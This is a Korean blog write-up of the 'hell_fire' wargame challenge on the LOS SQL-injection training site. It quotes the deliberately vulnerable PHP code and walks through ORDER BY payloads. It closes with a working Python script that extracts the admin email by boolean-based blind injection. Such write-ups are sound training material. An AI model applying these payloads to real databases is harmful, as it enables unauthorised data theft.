Tyojong

[LOS] hell_fire 본문

web/LOS

[LOS] hell_fire

Tyojong 2026. 2. 5. 19:29
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

 

문제 목표

if(preg_match('/prob|_|\.|proc|union/i'$_GET[order])) exit("No Hack ~_~");

union이 필터링된다.

$query "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";

order파라미터는 order by 절 뒤에 들어간다.

if($result['id'] == "admin"$result['email'] = "**************";

admin에 대한 email은 마스킹되어 출력된다.

echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";

결과는 테이블 형태로 출력된다.

$query "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if((
$result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");

admin에 대한 email을 입력하면 문제가 해결된다.

 

문제 해결

?order=1=1 입력 시

참 값이 되어 DB에 담겨있는 데이터 순서 그대로 출력된다. 즉, order by 절 뒤에 비교 연산자 사용이 가능하다.

 

?order=id='rubiya' 입력 시

id가 rubiya인 값을 기준으로 정렬하기 때문에 order by 절 뒤에 해당하는 값이 아래로 출력된다.

 

?order=length(id)=5

?order=length(id)=6

비교 구문에 일치하는 정보가 아래로 출력되기 때문에 admin에 대한 정보가 일치할 때만 아래로 출력되도록 해야한다.

하지만 ?order=1=1 구문에서 알 수 있듯이 기본 정렬이 admin이 아래로 출력되기 때문에 admin에 대한 정보가 일치하지 않으면 위로 출력 되도록 해야한다.

 

?order=length(id)=4, id='rubiya'

해당 구문처럼 뒤에 ,와 조건을 추가해주면 앞 조건이 일치하지 않을 경우 뒤 조건을 기준으로 정렬하게 된다.

때문에 admin에 대한 정보가 일치하지 않을 경우 rubiya에 대한 정보가 아래로 출력된다.

 

?order=substring(id,4,1)='i', id='rubiya'

또한 추출하는 데이터가 알고싶지 않은 데이터와 동일한 위치, 동일한 값으로 존재한다면 제대로 추출되지 않을 수 있다.

 

?order=id='admin' and substring(id,4,1)='i', id='rubiya'

때문에 앞에 and 연산을 통해 id가 admin인 값이라는 조건을 추가해주면 된다.

 

해당 로직을 이용해 email의 길이와 데이터를 출력하면

import requests

URL = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"

cookies = {"PHPSESSID": "세션 값"}

email_len = 0
while True:
    print(f"email length: {email_len}", end="\r")
    payload = f"?order=id='admin' and length(email)={email_len}, id='rubiya'"
    r = requests.get(URL + payload, cookies=cookies)

    if "score</th><tr><td>rubiya" in r.text:
        break
    email_len += 1

print(f"email length: {email_len}")

email = ""
for i in range(1, email_len + 1):
    for j in range(32, 127):
        print(f"email: {email + chr(j)}", end="\r")
        payload = f"?order=id='admin' and ascii(substring(email,{i},1))={j}, id='rubiya'"
        r = requests.get(URL + payload, cookies=cookies)

        if "score</th><tr><td>rubiya" in r.text:
            email += chr(j)
            break

print(f"email: {email}")

email을 얻을 수 있다.

 

'web > LOS' 카테고리의 다른 글

[LOS] evil_wizard  (0) 2026.02.05
[LOS] dark_eyes  (1) 2026.02.04
[LOS] iron_golem  (0) 2026.02.03
[LOS] dragon  (0) 2026.01.30
[LOS] xavis  (2) 2026.01.27